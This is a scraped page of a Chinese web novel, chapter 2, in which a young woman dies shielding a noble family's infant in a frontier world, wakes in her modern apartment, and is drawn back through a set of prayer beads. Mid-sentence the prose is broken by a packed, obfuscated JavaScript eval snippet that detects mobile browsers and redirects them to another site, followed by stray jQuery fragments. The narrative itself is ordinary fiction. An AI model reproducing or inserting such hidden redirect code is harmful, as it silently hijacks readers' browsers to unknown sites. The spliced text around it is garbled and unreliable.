默认冷灰
24号文字
方正启体

2. 大梦一场

作者:未至槐序本书字数:K更新时间:
    边塞的冬日,风沙是老天爷甩下来的鞭子。即便走在不算坎坷的小路上,依旧叫人睁不开眼,看不清前路。


    寒风刺的人脸颊发痒,而后又是密密麻麻的痛,周昭易仰头,看了眼太阳的方向,又低下头向前走去。


    离开村落向着中原而行的三日后,她已经开始适应不了这样的天气,嗓子眼像塞了把沙子,每咽一口唾沫都疼,可如今已没有退路,只得勉力支持着,和亦玉二人轮换照料小公子,才走出这些里地去。


    中原霍家,对周昭易来说,是个全然陌生的名字,却也是她们现下还能走动的唯一希望。


    “……等到了霍家,我会和将军说,”亦玉抱着尚在襁褓中的霍家小公子,深一脚浅一脚地在她几步远处走着,却还硬撑笑着:“说你是我和夫人的大恩人,如果你愿意的话,以后就留在军中做事,怎样也好过一个人在乱世里飘着,没个着落。”


    亦玉不知周昭易的身世,只从这几日的相处中能明白她在此世也没什么牵挂。


    周昭易的手下意识摩挲过被磨得有些粗糙的佛珠。“嗯。”她听见自己应。


    正说着话,只一时晃神,一只箭便破空而来,直冲抱着小公子的亦玉而去,周昭易来不及上前,只得大喊一声:“小心!”


    亦玉到底是有功夫在身的,箭矢划过,她堪堪避开了要害,右肩上却顷刻间晕开一片红,闷哼一声,手中反将襁褓抱得更紧。


    回头望去,一伙不似寻常山贼模样的人影影绰绰从山路两侧的林子里攻出,直冲二人而来。


    还不等周昭易反应过来,亦玉已经拔出袖间匕首,将襁褓塞到了她的怀中,“快走!往哪里跑都好,只要跑到山下去,进城!”


    “可是……”她张了张口,想问那你呢?却又说不出来。


    亦玉更大力地推了她一把,“去啊!”


    即便身后喊杀声阵阵,刀剑声入耳,周昭易不敢再回头。


    往前,往前跑,下山,下了山就好了。


    顺着脸颊而下的早已不知是泪水还是汗水,周昭易只觉得自己的手脚都在发凉,双腿已然尽力跑到麻木,全靠一口不上不下的气吊着,不至于倒下。


    襁褓中的婴儿仿佛也感觉到了此刻的情形,开始大哭起来,哭声回荡在树林间,像一张密不透风的网,勒住了她本就嗡鸣不止的听觉,让人的大脑阵阵白眩。


    一炷香,周昭易觉得自己从未跑的这样快过。


    已不知是不是幻觉了,她好像看见这些天无数次在梦中见过的场景——插着霍家旗帜的一队兵马正朝这边跑来。


    “小公子在——”她第一次学着亦玉去称呼这个孩子,将他举过头顶。


    下一瞬,后心传来一阵冲击性的剧痛,鲜血溅染在怀中婴儿的襁褓上,半支箭矢从她胸前刺出,带的她整个人面朝下地直直摔倒在草地上。


    ——


    睁开眼,周昭易猛地坐起身,大口地喘着气。


    空调的嗡鸣声还在耳畔响着,室内的温度一如既往恒定在二十六度,身上睡衣柔软贴肤的质感让她有片刻的愣怔。


    那些让人眯起双眼的风沙,刺骨难耐的严寒,扎的人日日睡不好觉的粗布衣服,好像真的只是一个梦境,一睁眼便随着痛苦消失的无影无踪。


    周昭易伸手去摸自己的心口,干干净净,睡衣完好地贴在自己身上,一丝血迹也没有,只有心头的余悸还一下下随着心跳跳动着,搅的人缓不过神。


    一场幻梦,或许是梦魇,或许是今日兼职打工时劳累过度导致的幻觉。


    ……可她的右手上怎么会挂着那串佛珠?


    手腕触及那温吞中带着些破损的木质质感时,她几乎是从床上跳了起来,触电一样就要将佛珠急急的脱下丢开,只想着离梦中的一切越远越好。


    可鬼使神差地,霍夫人死前那双温柔的眼睛却浮现在她的脑海里,叫她抓着珠串的手怎么也摔不下去了。


    日子总要一天天过去的。


    她没丢掉佛珠,但也不敢再带在身上,只放在卧室书桌旁最靠下的那间抽屉里,上了锁,再不拿出来。


    “你这几天怎么魂不守舍的?”


    兼职书店的店长正如往常坐在店内靠窗的位置,见周昭易又将书放错了地方,微皱着眉问她。


    她自知理亏,低头去收拾放错的书,解释:“近日没睡好。”


    “……说话也变得文邹邹的。”


    店长不咸不淡地瞥了她一眼,似乎只是随口一说,却吓得周昭易混身一个激灵,手中刚拿着的书险些又掉了下去。


    她握着书脊的手紧了些,笑着敷衍了过去:“可能读小说读多了。”回过头去,背后已经全是冷汗。


    现世早已入春,傍晚却还是微凉的天气,吹的人不得不加件外衣。


    周昭易手中抱着一箱店内换下来的书,用肩膀推开了家门。


    听着屋内电器运作的一丁点声响,倒是让人不自觉地松懈下来,她靠着门板,连鞋也懒得换去,滑坐到了地板上


    回到现实的每一天晚上,她都在重复地做着同一个噩梦。


    梦里,周昭易像是一缕幽魂,飘在空中。霍夫人泪眼婆娑,戴着那串现在被她压在抽屉最里的佛珠,一遍遍在佛像前叩拜,直到额前见红。


    “求佛祖垂怜,求佛祖保佑……我儿平安……”她口中不停念着,翻来覆去都是为了那个小公子在祈福。


    第一夜,第三夜,第五夜,这个梦境不肯放过她。


    书店的工作是兼职,少做一天就少赚一天的钱,可到了第七日,她实在撑不住了,和店长告假便提前回了家。


    周昭易回到家,把它们随手丢在书桌上,倒头便睡。这一次,梦里难得地没有霍夫人,只是她的身子依旧轻飘飘的,像没了线的风筝,随时就要飞走似的。


    眼前只有一片白茫茫的雾,雾中有一个声音,很轻,很远,像从水的另一端传来——


    “昭易姐……昭易姐……”


    是亦玉的声音。周昭易猛地惊醒,浑身冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415976|200756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    汗。


    窗外的天已经黑了,她不知道自己睡了多久。空调的嗡鸣声照旧响着,一切如常——除了书桌上那摞店长给她去处理的,从书店的仓库中带回来的旧书,有一本不知何时滑落在地,摊开了。


    书中的文字就这样仰面朝上,她下意识弯腰去捡书,目光却落在了那本书书脊烫金的名字上,不由得死死定住。


    《天诛·卷一》


    在异世的日子里,她只听亦玉在她们初识的夜晚说起过这个名字:“那是天诛二年时了,夫人带着我到了霍家……”


    她的呼吸骤地急促起来,顾不及膝盖磕到冰冷的木地板上,跪下去一把捞起这书,立刻往前翻。


    天诛十年,端木氏盘踞西北。


    天诛九年,霍氏平定北境,封镇北大将军。


    天诛八年……


    她的手指一路往上划,终于找到了一行小字:


    “天诛七年春,霍将军原配夫人柳桁,于西塞遭匪患,卒于途。追封淑人。”


    就这一行。


    周昭易盯着那一行字,眼睛瞪得发酸,几乎不敢相信。


    柳桁。原来霍夫人姓柳。


    她有过怎样的容颜,说过怎样的话,过活过怎样的短暂人生,所有这些,在这本书里,不过落得了个轻飘飘的“卒于途”三个字。


    周昭易又去翻后面的卷册,疯了一样地翻,数着陌生的名字一个个从眼前掠过。


    没有亦玉。


    亦玉的名字,从未出现在任何一卷书中。仿佛这个人从来没有存在过。


    周昭易踉跄着爬起身,撑着书桌椅去拉开了那扇抽屉。佛珠还静静地躺在那里,像是一直在等着她终于再次握住它,把它从狭小的木匣里解脱出来。


    她这串佛珠握得很紧,紧到珠子上的霍字已经隐隐约约将她的掌心硌出一片红印。


    她想起霍夫人温柔的眼睛,想起亦玉推她那一把时决绝的眼神,想起襁褓中那孩子凄楚的哭声


    周昭易忽然觉得掌心的珠子在发烫,像有什么东西正在顺着那里一寸寸蔓延,沿她的掌纹扩散,顺着血液流向全身。


    她吓了一跳,险些失手将佛珠甩了出去,可手指就像是被什么粘住了一样,怎么也甩不开。


    那颗刻着霍字的佛珠正对着掌心的位置,像烛火一样忽地闪了一下。而后那光越来越亮,越来越暖,从掌心蔓延到手腕,从小臂蔓延到肩头,最后整条右臂都像泡进了温水里。


    她听见自己的心跳声,一下,两下,三下——然后心跳声消失了,取而代之的,是另一个声音。


    霍夫人的声音很远,像是从佛珠的木头纹路里渗出来的:


    “回来……”


    周昭易浑身一颤,下意识想往后退。可她的脚已经踩不到地板了。台灯的光在眼前拉成一条线,然后是天花板,窗外的夜空。


    她最后听见的,是那本书从手腕上滑落、砸在木地板上发出的那一声清脆的响。


    闭上眼,什么都没有了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)